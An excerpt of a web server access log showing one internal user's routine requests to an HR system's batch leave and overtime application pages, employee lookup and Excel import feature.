AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:16:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39897495138517813 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:16:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39897495138517813 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:17:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39897495138517813 HTTP/1.1" 200 15733 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39897495138517813" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39897495138517813 HTTP/1.1" 200 15733 192.168.11.70 - - [04/Dec/2025:09:17:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4191 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4191 192.168.11.70 - - [04/Dec/2025:09:17:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:17:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:17:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3429600604124594 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3429600604124594 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:17:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3429600604124594 HTTP/1.1" 200 15762 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3429600604124594" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3429600604124594 HTTP/1.1" 200 15762 192.168.11.70 - - [04/Dec/2025:09:17:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 192.168.11.70 - - [04/Dec/2025:09:17:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:17:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:17:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:18:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.621859532982733 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.621859532982733 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:18:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.621859532982733 HTTP/1.1" 200 15759 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.621859532982733" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.621859532982733 HTTP/1.1" 200 15759 192.168.11.70 - - [04/Dec/2025:09:18:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216 192.168.11.70 - - [04/Dec/2025:09:18:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:18:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:18:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:18:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8634893987813943 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8634893987813943 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:18:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8634893987813943 HTTP/1.1" 200 15739 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8634893987813943" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8634893987813943 HTTP/1.1" 200 15739 192.168.11.70 - - [04/Dec/2025:09:18:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [04/Dec/2025:09:18:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:18:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:18:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40475264687549717 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40475264687549717 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:19:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40475264687549717 HTTP/1.1" 200 15733 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40475264687549717" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40475264687549717 HTTP/1.1" 200 15733 192.168.11.70 - - [04/Dec/2025:09:19:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.70 - - [04/Dec/2025:09:19:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:19:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [04/Dec/2025:09:19:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:19:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:20:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4533780668962957 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4533780668962957 HTTP/1.1" 200 13560 192.168.11.70 - - [04/Dec/2025:09:20:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4533780668962957 HTTP/1.1" 200 15732 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4533780668962957" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4533780668962957 HTTP/1.1" 200 15732 192.168.11.70 - - [04/Dec/2025:09:20:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.70 - - [04/Dec/2025:09:20:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:20:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:20:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:20:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437 HTTP/1.1" 200 5264 192.168.11.70 - - [04/Dec/2025:09:20:46 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:46 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437 HTTP/1.1" 302 - 192.168.11.70 - - [04/Dec/2025:09:20:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5151 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.856226273014437" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5151 192.168.11.70 - - [04/Dec/2025:09:20:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4753 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:20:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4753 192.168.11.70 - - [04/Dec/2025:09:21:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:21:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:21:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [04/Dec/2025:09:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [04/Dec/2025:09:21:26 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.0925659348200194 HTTP/1.1" 200 5264 192.168.11.70 - - 